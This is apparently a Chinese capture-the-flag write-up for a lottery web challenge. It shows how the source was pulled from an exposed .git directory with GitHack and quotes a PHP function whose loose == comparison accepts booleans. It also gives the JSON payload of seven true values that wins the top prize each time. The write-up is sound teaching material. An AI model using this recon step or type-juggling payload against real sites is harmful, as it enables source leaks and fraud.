首先 访问 /robots.txt 或者 /.git/ 发现 Git 仓库可以 GitHack 拿到源码
源码链接:https://pan.baidu.com/s/1GJgmQ5xH4OGglypAtKHOIA
提取码:km6j
漏洞在 api.php
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
其中$numbers来自用户json输入{"action":"buy","numbers":"1122334"},没有检查数据类型。$win_numbers是随机生成的数字字符串。
使用 PHP 弱类型松散比较,以"1"为例,和TRUE,1,"1"相等。 由于 json 支持布尔型数据,因此可以抓包改包,发送:
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
当每一位中奖号码都不是0时即可中最高奖,攒钱买flag。